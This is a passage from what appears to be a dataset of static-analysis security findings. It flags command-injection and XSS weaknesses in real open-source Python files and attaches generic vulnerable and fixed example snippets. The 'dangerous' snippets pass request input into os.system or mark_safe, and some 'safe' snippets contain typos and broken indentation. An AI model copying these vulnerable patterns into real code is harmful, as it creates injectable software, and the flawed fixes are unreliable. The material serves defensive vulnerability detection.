== '2':\n        PasswordSearch(user_name,pre)\n    elif menu == '3':\n        clrscr()\n        exit()\n    elif menu == '':\n        MainMenu(user_name)\n    else:\n        MainMenu(user_name)\n\ndef s(user_name,password):\n    uhold = hashlib.sha256(user_name.encode('utf-8')).hexdigest()\n    phold = hashlib.sha256(password.encode('utf-8')).hexdigest()\n    for i in uhold:\n        if i.isdigit():\n            ucount = i\n            break\n    for i in phold:\n        if i.isdigit():\n            pcount = i\n            break\n    if int(pcount) % 2 == 0:\n        global line\n        line = uhold * int(pcount) + phold * int(ucount)\n    else:\n        line = phold * int(pcount) + uhold * int(pcount)    \n    line = hashlib.sha256(line.encode('utf-8')).hexdigest()\n\ndef Register(pre):\n    header()\n    user_name = input(\"Enter Username:  \").encode(\"utf-8\").hex()\n    if user_name == \"\":\n        input(\"Press enter to return to the Sign In screen and enter a user name\\n\")\n        Register(pre)\n    nametest1 = user_name + \"4c\" + \".passpy\"\n    location = os.path.join(pre, nametest1)\n    try:\n        usersearch = open(location)  #search for user's password file\n        usersearch.close()\n        header()\n        print(\"User name not available\")\n        input(\"Press Enter to try again:  \")\n        Register(pre)\n    except FileNotFoundError:\n        header()\n        print(\"User name is available\")\n        with open(location,\"a\") as create:  #create user's password file\n            password = input(\"enter desired password:\\n\").encode(\"utf-8\").hex()\n            while password == \"\":\n                header()\n                password = input(\"An empty password is not useful\\nPlease enter desired password:\\n\")\n            s(user_name,password)\n            create.write(line)\n        second = user_name + \"50\" + \".passpy\"\n        location = os.path.join(pre, second)\n        with open(location, \"a\", newline=\"\\n\") as create:\n            first = \"count\"\n            b = \"0\"\n            third = \"empty\"\n            hold = first + b + third\n            fourth = hashlib.sha256(bytes(hold, 'utf8')).hexdigest()\n            half = hashlib.sha256(user_name.encode('utf-8')).hexdigest()\n            smosh = hashlib.sha256(bytes(half + hold, 'utf8'))\n            key = smosh.digest()\n            iv = bytes(int(len(key)/2))\n            cipher = Cipher(algorithms.AES(key), modes.CTR(iv))\n            encryptor = cipher.encryptor()\n            first = bytes(first, 'utf8')\n            first = bytes.hex(encryptor.update(first) + encryptor.finalize())\n            encryptor = cipher.encryptor()\n            b = bytes(b, 'utf8')\n            b = bytes.hex(encryptor.update(b) + encryptor.finalize())\n            encryptor = cipher.encryptor()\n            third = bytes(third, 'utf8')\n            third = bytes.hex(encryptor.update(third) + encryptor.finalize())\n            hold = bytes(first + b + third, \"utf8\")\n            fifth = hashlib.sha256(hold).hexdigest()\n            firstLine = first + \"\\t\" + b + \"\\t\" + third + \"\\t\" + fourth + \"\\t\" + fifth + \"\\n\"\n            create.write(firstLine)\n    header()\n    input(\"Done!  \\nNew account created!\\nWelcome!\")\n    MainMenu(user_name)\n\ndef Login(pre):\n    header()\n    print(\"Welcome!\\n 1:  New users - register your account\\n 2:  Existing users - log in\\n 3:  Exit - close the application.\")\n    login = input(\"Enter a number:\\n\")\n    if login == '1':\n        Register(pre)\n    elif login == '2':\n        Signin(pre)\n    elif login == '3':\n        clrscr()\n        exit()\n    else:\n        Login(pre)\n\n# Startup Phase\nheader()\nprint(\"Welcome to PassPY, the python based, opensource password storage\\nIf you like PassPY, share it with a friend github.com/kayakers6/passpy\\nIf you love PassPY, BTC:  bc1qsqc3v2jt3lh0kq9addf4gu6e2uq5vxxfk35pl\\n                    SNX:  0x05E8813B7dc3c4e039D898CB13f21A6E4d675bc1\")\nstart = input(\"Press ENTER to start\")\nLogin(pre)", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 229, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "229"}}, {"lineNo": 238, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 241, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "241"}}, {"lineNo": 242, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 245, "eventType": "source", "messageKey": "synz.COMMON.value.passed.to", "params": {"arg0": "Clipboard"}}, {"lineNo": 245, "eventType": "source", "messageKey": "synz.COMMON.called", "params": {"arg0": "Clipboard"}}, {"lineNo": 245, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "os.system"}}]}}
{"id": "7ee385ca4679d1f795c07d19e817cee1c628dd338268ab65933db40906c9d39f", "license": {"spdx": ["Apache-2.0"], "repo": "roolrd/incubator-datalab", "path": "infrastructure-provisioning/scripts/post-deployment_configuration.py", "repo_head_hexsha": "2045207ecd1b381193f1a1ec143cc968716ad989", "stack_hexsha": "65aad0dcad6b978d7933961de7d32128e38494f9", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 54, "entireCode": "#!/usr/bin/python3\n\n# *****************************************************************************\n#\n# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements.  See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership.  The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License.  You may obtain a copy of the License at\n#\n#   http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied.  See the License for the\n# specific language governing permissions and limitations\n# under the License.\n#\n# ******************************************************************************\n\nimport argparse\nimport requests\nimport uuid\nfrom Crypto.PublicKey import RSA\nfrom fabric import *\nimport subprocess\n\nif __name__ == \"__main__\":\n\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--keycloak_realm_name', type=str, default='KEYCLOAK_REALM_NAME', help='Keycloak Realm name')\n    parser.add_argument('--keycloak_auth_server_url', type=str, default='KEYCLOAK_AUTH_SERVER_URL', help='Keycloak auth server URL')\n    parser.add_argument('--keycloak_client_name', type=str, default='KEYCLOAK_CLIENT_NAME', help='Keycloak client name')\n    parser.add_argument('--keycloak_client_secret', type=str, default='KEYCLOAK_CLIENT_SECRET', help='Keycloak client secret')\n    parser.add_argument('--keycloak_user', type=str, default='KEYCLOAK_USER', help='Keycloak user')\n    parser.add_argument('--keycloak_admin_password', type=str, default='',\n                        help='Keycloak admin password')\n    args = parser.parse_args()\n    headers = {\n        'Metadata-Flavor': 'Google',\n    }\n\n    print(\"Getting cloud and instance parameters\")\n    server_external_ip = requests.get(\n        'http://metadata/computeMetadata/v1/instance/network-interfaces/0/access-configs/0/external-ip',\n        headers=headers).text\n    datalab_sbn = requests.get('http://metadata/computeMetadata/v1/instance/name', headers=headers).text\n    datalab_ssn_static_ip_name = datalab_sbn + '-ip'\n    datalab_zone = requests.get('http://metadata/computeMetadata/v1/instance/zone', headers=headers).text.split('/')[-1]\n    datalab_region = '-'.join(datalab_zone.split('-', 2)[:2])\n    deployment_vpcId = subprocess.run(\n        \"sudo gcloud compute instances describe {0} --zone {1} --format 'value(networkInterfaces.network)' | sed 's|.*/||'\".format(\n            datalab_sbn, datalab_zone), capture_output=True, shell=True, check=True).stdout.decode('UTF-8').rstrip(\"\\n\\r\")\n    deployment_subnetId = subprocess.run(\n        \"sudo gcloud compute instances describe {0} --zone {1} --format 'value(networkInterfaces.subnetwork)' | sed 's|.*/||'\".format(\n            datalab_sbn, datalab_zone), capture_output=True, shell=True, check=True).stdout.decode('UTF-8').rstrip(\"\\n\\r\")\n    gcp_projectId = requests.get('http://metadata/computeMetadata/v1/project/project-id', headers=headers).text\n    keycloak_redirectUri = 'http://{}'.format(server_external_ip)\n\n    print(\"Generationg SSH keyfile for datalab-user\")\n    key = RSA.generate(2048)\n    subprocess.run(\"sudo sh -c 'echo \\\"{}\\\" > /home/datalab-user/keys/KEY-FILE.pem'\".format(key.exportKey('PEM')), shell=True, check=True)\n    subprocess.run(\"sudo chmod 600 /home/datalab-user/keys/KEY-FILE.pem\", shell=True, check=True)\n    pubkey = key.publickey()\n    subprocess.run(\"sudo sh -c 'echo \\\"{}\\\" > /home/datalab-user/.ssh/authorized_keys'\".format(pubkey.exportKey('OpenSSH')), shell=True, check=True)\n\n    print(\"Generationg MongoDB password\")\n    mongo_pwd = uuid.uuid4().hex\n    try:\n        subprocess.run(\n            \"sudo echo -e 'db.changeUserPassword(\\\"admin\\\", \\\"{}\\\")' | mongo datalabdb --port 27017 -u admin -p MONGO_PASSWORD\".format(\n                mongo_pwd), shell=True, check=True)\n        subprocess.run('sudo sed -i \"s|MONGO_PASSWORD|{}|g\" /opt/datalab/conf/billing.yml'.format(mongo_pwd), shell=True, check=True)\n\n        subprocess.run('sudo sed -i \"s|MONGO_PASSWORD|{}|g\" /opt/datalab/conf/ssn.yml'.format(mongo_pwd), shell=True, check=True)\n    except:\n        print('Mongo password was already changed')\n\n    print('Reserving external IP')\n    static_address_exist = subprocess.run(\n        \"sudo gcloud compute addresses list --filter='address={}'\".format(server_external_ip), capture_output=True, shell=True, check=True).stdout.decode('UTF-8').rstrip(\"\\n\\r\")\n    if static_address_exist:\n        print('Address is already static')\n    else:\n        subprocess.run(\"sudo gcloud compute addresses create {0} --addresses {1} --region {2}\".format(datalab_ssn_static_ip_name,\n                                                                                             server_external_ip,\n                                                                                             datalab_region),\n              capture_output=True, shell=True, check=True)\n\n    print(\"Overwriting SSN parameters\")\n\n    if deployment_subnetId == 'default':\n        subprocess.run(\n            'sudo sed -i \"s|# user_subnets_range|user_subnets_range|g\" /opt/datalab/sources/infrastructure-provisioning/src/general/conf/overwrite.ini', shell=True, check=True)\n\n    subprocess.run('sudo sed -i \"s|DATALAB_SBN|{}|g\" /opt/datalab/conf/self-service.yml'.format(datalab_sbn), shell=True, check=True)\n    subprocess.run('sudo sed -i \"s|KEYCLOAK_REDIRECTURI|{}|g\" /opt/datalab/conf/self-service.yml'.format(keycloak_redirectUri), shell=True, check=True)\n    subprocess.run(\n        'sudo sed -i \"s|KEYCLOAK_REALM_NAME|{}|g\" /opt/datalab/conf/self-service.yml'.format(args.keycloak_realm_name), shell=True, check=True)\n    subprocess.run('sudo sed -i \"s|KEYCLOAK_AUTH_SERVER_URL|{}|g\" /opt/datalab/conf/self-service.yml'.format(\n        args.keycloak_auth_server_url), shell=True, check=True)\n    subprocess.run('sudo sed -i \"s|KEYCLOAK_CLIENT_NAME|{}|g\" /opt/datalab/conf/self-service.yml'.format(\n        args.keycloak_client_name), shell=True, check=True)\n    subprocess.run('sudo sed -i \"s|KEYCLOAK_CLIENT_SECRET|{}|g\" /opt/datalab/conf/self-service.yml'.format(\n        args.keycloak_client_secret), shell=True, check=True)\n\n    subprocess.run(\n        'sudo sed -i \"s|KEYCLOAK_REALM_NAME|{}|g\" /opt/datalab/conf/provisioning.yml'.format(args.keycloak_realm_name), shell=True, check=True)\n    subprocess.run('sudo sed -i \"s|KEYCLOAK_AUTH_SERVER_URL|{}|g\" /opt/datalab/conf/provisioning.yml'.format(\n        args.keycloak_auth_server_url), shell=True, check=True)\n    subprocess.run('sudo sed -i \"s|KEYCLOAK_CLIENT_NAME|{}|g\" /opt/datalab/conf/provisioning.yml'.format(\n        args.keycloak_client_name), shell=True, check=True)\n    subprocess.run('sudo sed -i \"s|KEYCLOAK_CLIENT_SECRET|{}|g\" /opt/datalab/conf/provisioning.yml'.format(\n        args.keycloak_client_secret), shell=True, check=True)\n    subprocess.run('sudo sed -i \"s|DATALAB_SBN|{}|g\" /opt/datalab/conf/provisioning.yml'.format(datalab_sbn), shell=True, check=True)\n    subprocess.run('sudo sed -i \"s|SUBNET_ID|{}|g\" /opt/datalab/conf/provisioning.yml'.format(deployment_subnetId), shell=True, check=True)\n    subprocess.run('sudo sed -i \"s|DATALAB_REGION|{}|g\" /opt/datalab/conf/provisioning.yml'.format(datalab_region), shell=True, check=True)\n    subprocess.run('sudo sed -i \"s|DATALAB_ZONE|{}|g\" /opt/datalab/conf/provisioning.yml'.format(datalab_zone), shell=True, check=True)\n    subprocess.run('sudo sed -i \"s|SSN_VPC_ID|{}|g\" /opt/datalab/conf/provisioning.yml'.format(deployment_vpcId), shell=True, check=True)\n    subprocess.run('sudo sed -i \"s|GCP_PROJECT_ID|{}|g\" /opt/datalab/conf/provisioning.yml'.format(gcp_projectId), shell=True, check=True)\n    subprocess.run('sudo sed -i \"s|KEYCLOAK_USER|{}|g\" /opt/datalab/conf/provisioning.yml'.format(args.keycloak_user), shell=True, check=True)\n    subprocess.run('sudo sed -i \"s|KEYCLOAK_ADMIN_PASSWORD|{}|g\" /opt/datalab/conf/provisioning.yml'.format(\n        args.keycloak_admin_password), shell=True, check=True)\n\n    subprocess.run('sudo sed -i \"s|DATALAB_SBN|{}|g\" /opt/datalab/conf/billing.yml'.format(datalab_sbn), shell=True, check=True)\n\n    subprocess.run(\n        'sudo sed -i \"s|DATALAB_SBN|{}|g\" /opt/datalab/sources/infrastructure-provisioning/src/general/conf/overwrite.ini'.format(\n            datalab_sbn), shell=True, check=True)\n    subprocess.run(\n        'sudo sed -i \"s|GCP_PROJECT_ID|{}|g\" /opt/datalab/sources/infrastructure-provisioning/src/general/conf/overwrite.ini'.format(\n            gcp_projectId), shell=True, check=True)\n    subprocess.run(\n        'sudo sed -i \"s|DATALAB_REGION|{}|g\" /opt/datalab/sources/infrastructure-provisioning/src/general/conf/overwrite.ini'.format(\n            datalab_region), shell=True, check=True)\n    subprocess.run(\n        'sudo sed -i \"s|DATALAB_ZONE|{}|g\" /opt/datalab/sources/infrastructure-provisioning/src/general/conf/overwrite.ini'.format(\n            datalab_zone), shell=True, check=True)\n    subprocess.run(\n        'sudo sed -i \"s|KEYCLOAK_REALM_NAME|{}|g\" /opt/datalab/sources/infrastructure-provisioning/src/general/conf/overwrite.ini'.format(\n            args.keycloak_realm_name), shell=True, check=True)\n    subprocess.run(\n        'sudo sed -i \"s|KEYCLOAK_AUTH_SERVER_URL|{}|g\" /opt/datalab/sources/infrastructure-provisioning/src/general/conf/overwrite.ini'.format(\n            args.keycloak_auth_server_url), shell=True, check=True)\n    subprocess.run(\n        'sudo sed -i \"s|KEYCLOAK_CLIENT_NAME|{}|g\" /opt/datalab/sources/infrastructure-provisioning/src/general/conf/overwrite.ini'.format(\n            args.keycloak_client_name), shell=True, check=True)\n    subprocess.run(\n        'sudo sed -i \"s|KEYCLOAK_CLIENT_SECRET|{}|g\" /opt/datalab/sources/infrastructure-provisioning/src/general/conf/overwrite.ini'.format(\n            args.keycloak_client_secret), shell=True, check=True)\n    subprocess.run(\n        'sudo sed -i \"s|KEYCLOAK_USER|{}|g\" /opt/datalab/sources/infrastructure-provisioning/src/general/conf/overwrite.ini'.format(\n            args.keycloak_user), shell=True, check=True)\n    subprocess.run(\n        'sudo sed -i \"s|KEYCLOAK_ADMIN_PASSWORD|{}|g\" /opt/datalab/sources/infrastructure-provisioning/src/general/conf/overwrite.ini'.format(\n            args.keycloak_admin_password), shell=True, check=True)\n\n    print('SSL certificate generating')\n    keystore_passwd = uuid.uuid4().hex\n    subprocess.run('sudo rm /home/datalab-user/keys/ssn*', shell=True, check=True)\n    subprocess.run('sudo rm /etc/ssl/certs/datalab*', shell=True, check=True)\n    subprocess.run('sudo keytool -delete -noprompt -trustcacerts -alias ssn -storepass changeit -keystore '\n        '/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/security/cacerts', shell=True, check=True)\n    subprocess.run(\n        'sudo openssl req -x509 -nodes -days 3650 -newkey rsa:2048 -keyout /etc/ssl/certs/datalab.key -out '\n        '/etc/ssl/certs/datalab.crt -subj \"/C=US/ST=US/L=US/O=datalab/CN=localhost/subjectAltName={0}\"'.format(\n            server_external_ip), shell=True, check=True)\n    subprocess.run(\n        'sudo openssl pkcs12 -export -in /etc/ssl/certs/datalab.crt -inkey /etc/ssl/certs/datalab.key -name ssn -out '\n        '/home/datalab-user/keys/ssn.p12 -password pass:{0}'.format(keystore_passwd), shell=True, check=True)\n    subprocess.run(\n        'sudo keytool -importkeystore -srckeystore /home/datalab-user/keys/ssn.p12 -srcstoretype PKCS12 -alias '\n        'ssn -destkeystore /home/datalab-user/keys/ssn.keystore.jks -deststorepass {0} -srcstorepass {0}'.format(\n            keystore_passwd), shell=True, check=True)\n    subprocess.run(\n        'sudo keytool -importcert -trustcacerts -alias ssn -file /etc/ssl/certs/datalab.crt -noprompt -storepass '\n        ' -keystore /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/security/cacerts', shell=True, check=True)\n    subprocess.run('sudo sed -i \"s|KEYSTORE_PASSWORD|{}|g\" /opt/datalab/conf/ssn.yml'.format(keystore_passwd), shell=True, check=True)\n\n    print('Nginx configuration updating')\n    subprocess.run('sudo sed -i \"s|SERVER_IP|{}|g\" /etc/nginx/conf.d/nginx_proxy.conf'.format(server_external_ip), shell=True, check=True)\n    subprocess.run('sudo systemctl restart nginx', shell=True, check=True)\n    subprocess.run('sudo supervisorctl restart all', shell=True, check=True)\n\n    print('Rebuilding docker images')\n    subprocess.run('cd /opt/datalab/sources/infrastructure-provisioning/src/ && sudo docker-build all', shell=True, check=True)\n\n    print('[SUMMARY]')\n    print('Mongo password stored in /opt/datalab/conf/ssn.yml')\n    print('SSH key for datalab-user stored in /home/datalab-user/keys/KEY-FILE.pem')", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 31, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "32"}}, {"lineNo": 54, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "84f054e9ff50c51b3fc0b82297a5434e230ecdcef48237abb1c1a56ac9c12ef9", "license": {"spdx": ["MIT", "BSD-3-Clause"], "repo": "ContactEngineering/TopoBank", "path": "topobank/publication/models.py", "repo_head_hexsha": "12710c24cc158801db20f030c3e0638060e24a0e", "stack_hexsha": "e6ea376dac46236ea3d4ce92ad3215d1dbffb660", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 60, "entireCode": "from django.db import models\nfrom django.urls import reverse\nfrom django.utils import timezone\nfrom django.utils.safestring import mark_safe\nfrom django.conf import settings\n\nMAX_LEN_AUTHORS_FIELD = 512\n\nCITATION_FORMAT_FLAVORS = ['html', 'ris', 'bibtex', 'biblatex']\nDEFAULT_KEYWORDS = ['surface', 'topography']\n\n\nclass UnknownCitationFormat(Exception):\n    def __init__(self, flavor):\n        self._flavor = flavor\n\n    def __str__(self):\n        return f\"Unknown citation format flavor '{self._flavor}'.\"\n\n\nclass Publication(models.Model):\n\n    LICENSE_CHOICES = [(k, settings.CC_LICENSE_INFOS[k]['option_name'])\n                       for k in ['cc0-1.0', 'ccby-4.0', 'ccbysa-4.0']]\n\n    short_url = models.CharField(max_length=10, unique=True, null=True)\n    surface = models.OneToOneField(\"manager.Surface\", on_delete=models.PROTECT, related_name='publication')\n    original_surface = models.ForeignKey(\"manager.Surface\", on_delete=models.SET_NULL,\n                                         null=True, related_name='derived_publications')\n    publisher = models.ForeignKey(\"users.User\", on_delete=models.PROTECT)\n    publisher_orcid_id = models.CharField(max_length=19, default='')  # 16 digits including 3 dashes\n    version = models.PositiveIntegerField(default=1)\n    datetime = models.DateTimeField(auto_now_add=True)\n    license = models.CharField(max_length=12, choices=LICENSE_CHOICES, blank=False, default='')\n    authors = models.CharField(max_length=MAX_LEN_AUTHORS_FIELD)\n    container = models.FileField(max_length=50, default='')\n\n    def get_absolute_url(self):\n        return reverse('publication:go', args=[self.short_url])\n\n    def get_full_url(self, request):\n        return request.build_absolute_uri(self.get_absolute_url())\n\n    def get_citation(self, flavor, request):\n        if flavor not in CITATION_FORMAT_FLAVORS:\n            raise UnknownCitationFormat(flavor)\n        method_name = '_get_citation_as_'+flavor\n        return getattr(self, method_name)(request)\n\n    def _get_citation_as_html(self, request):\n        s = '{authors}. ({year}). contact.engineering. {surface.name} (Version {version}).'\n        s += ' {publication_url}'\n        s = s.format(\n            authors=self.authors,\n            year=self.datetime.year,\n            version=self.version,\n            surface=self.surface,\n            publication_url=self.get_full_url(request),\n        )\n        return mark_safe(s)\n\n    def _get_citation_as_ris(self, request):\n        # see http://refdb.sourceforge.net/manual-0.9.6/sect1-ris-format.html\n        # or  https://en.wikipedia.org/wiki/RIS_(file_format)\n        # or  https://web.archive.org/web/20120526103719/http://refman.com/support/risformat_intro.asp\n        #     https://web.archive.org/web/20120717122530/http://refman.com/support/direct%20export.zip\n        s = \"\"\n\n        def add(key, value):\n            nonlocal s\n            s += f\"{key}  - {value}\\n\"\n\n        # Electronic citation / Website\n        add('TY', 'ELEC')\n        # Title\n        add('TI', f\"{self.surface.name} (Version {self.version})\")\n        # Authors\n        for author in self.authors.split(','):\n            add('AU', author.strip())\n        # Publication Year\n        add('PY', format(self.datetime, '%Y/%m/%d/'))\n        # URL\n        add('UR', self.get_full_url(request))\n        # Name of Database\n        add('DB', 'contact.engineering')\n\n        # Notes\n        add('N1', self.surface.description)\n\n        # add keywords, defaults ones and tags\n        for kw in DEFAULT_KEYWORDS:\n            add('KW', kw)\n        for t in self.surface.tags.all():\n            add('KW', t.name)\n\n        # End of record, must be empty and last tag\n        add('ER', '')\n\n        return s.strip()\n\n    def _get_citation_as_bibtex(self, request):\n\n        title = f\"{self.surface.name} (Version {self.version})\"\n        shortname = f\"{self.surface.name}_v{self.version}\".lower().replace(' ','_')\n        keywords = \",\".join(DEFAULT_KEYWORDS)\n        if self.surface.tags.count()>0:\n            keywords += \",\"+\",\".join(t.name for t in self.surface.tags.all())\n\n        s = \"\"\"\n        @misc{{\n            {shortname},\n            title  = {{{title}}},\n            author = {{{author}}},\n            year   = {{{year}}},\n            note   = {{{note}}},\n            keywords = {{{keywords}}},\n            howpublished = {{{publication_url}}},\n        }}\n        \"\"\".format(title=title,\n                   author=self.authors.replace(', ', ' and '),\n                   year=self.datetime.year,\n                   note=self.surface.description,\n                   publication_url=self.get_full_url(request),\n                   keywords=keywords,\n                   shortname=shortname,\n        )\n\n        return s.strip()\n\n    def _get_citation_as_biblatex(self, request):\n\n        shortname = f\"{self.surface.name}_v{self.version}\".lower().replace(' ','_')\n        keywords = \",\".join(DEFAULT_KEYWORDS)\n        if self.surface.tags.count()>0:\n            keywords += \",\"+\",\".join(t.name for t in self.surface.tags.all())\n\n        s = \"\"\"\n        @online{{\n            {shortname},\n            title  = {{{title}}},\n            version = {{{version}}},\n            author = {{{author}}},\n            year   = {{{year}}},\n            month  = {{{month}}},\n            date   = {{{date}}},\n            note   = {{{note}}},\n            keywords = {{{keywords}}},\n            url = {{{url}}},\n            urldate = {{{urldate}}}\n        }}\n        \"\"\".format(title=self.surface.name,\n                   version=self.version,\n                   author=self.authors.replace(', ', ' and '),\n                   year=self.datetime.year,\n                   month=self.datetime.month,\n                   date=format(self.datetime, \"%Y-%m-%d\"),\n                   note=self.surface.description,\n                   url=self.get_full_url(request),\n                   urldate=format(timezone.now(), \"%Y-%m-%d\"),\n                   keywords=keywords,\n                   shortname=shortname,\n        )\n\n        return s.strip()\n\n    @property\n    def storage_prefix(self):\n        \"\"\"Return prefix used for storage.\nhttps://docs.djangoproject.com/en/2.2/ref/models/fields/#django.db.models.FileField.upload_to\n        Looks like a relative path to a directory.\n        If storage is on filesystem, the prefix should correspond\n        to a real directory.\n        \"\"\"\n        return \"publications/{}/\".format(self.short_url)\n\n    @property\n    def container_storage_path(self):\n        \"\"\"Return relative path of container in storage.\"\"\"\n        return f\"{self.storage_prefix}container.zip\"\n", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 58, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 58, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get_full_url"}}, {"lineNo": 60, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "mark_safe"}}]}}
{"id": "9f9116734d7f181e341b9d6462315cef8b4cb7cfb4867df5e4f28b4105f366fe", "license": {"spdx": ["MIT"], "repo": "bluebibi/flask_rest", "path": "views/auth.py", "repo_head_hexsha": "9b1ee876060bca5d97459bb894c73530f66c4c15", "stack_hexsha": "db3b69e3c4b3003f7bdcfee2a7ee4c426c44a37d", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 31, "entireCode": "from flask import Blueprint, redirect, render_template, request, flash, session\n\nfrom database import base\nfrom database.base import User\nfrom forms import UserForm, LoginForm, MyPageUserForm\nfrom flask_login import login_required, login_user, logout_user, current_user\nimport requests\n\nauth_blueprint = Blueprint('auth', __name__)\n\nkakao_oauth = {}\n\n@auth_blueprint.route('/my_page', methods=['GET', 'POST'])\n@login_required\ndef _user():\n    form = MyPageUserForm()\n\n    q = base.db_session.query(User).filter(User.email == current_user.email)\n    user = q.first()\n\n    if request.method == 'POST':\n        if form.validate_on_submit():\n            user.email = request.form['email']\n            user.name = request.form['name']\n            user.set_password(request.form['password'])\n            user.affiliation = request.form['affiliation']\n            base.db_session.commit()\n            flash('귀하의 회원정보가 수정 되었습니다.')\n            return redirect('/auth/my_page')\n\n    return render_template(\"my_page.html\", user=user, form=form, kakao_oauth=kakao_oauth)\n\n\ndef login_process(email, password):\n    q = base.db_session.query(User).filter(User.email == email)\n    user = q.first()\n\n    if user:\n        if user.authenticate(password):\n            login_result = login_user(user)\n            if login_result:\n                print(\"사용자(사용자 이메일:{0})의 로그인 성공!\".format(current_user.email))\n            return '/'\n        else:\n            flash('비밀번호를 다시 확인하여 입력해주세요.')\n            return '/auth/login'\n    else:\n        flash('이메일 및 비밀번호를 다시 확인하여 입력해주세요.')\n        return 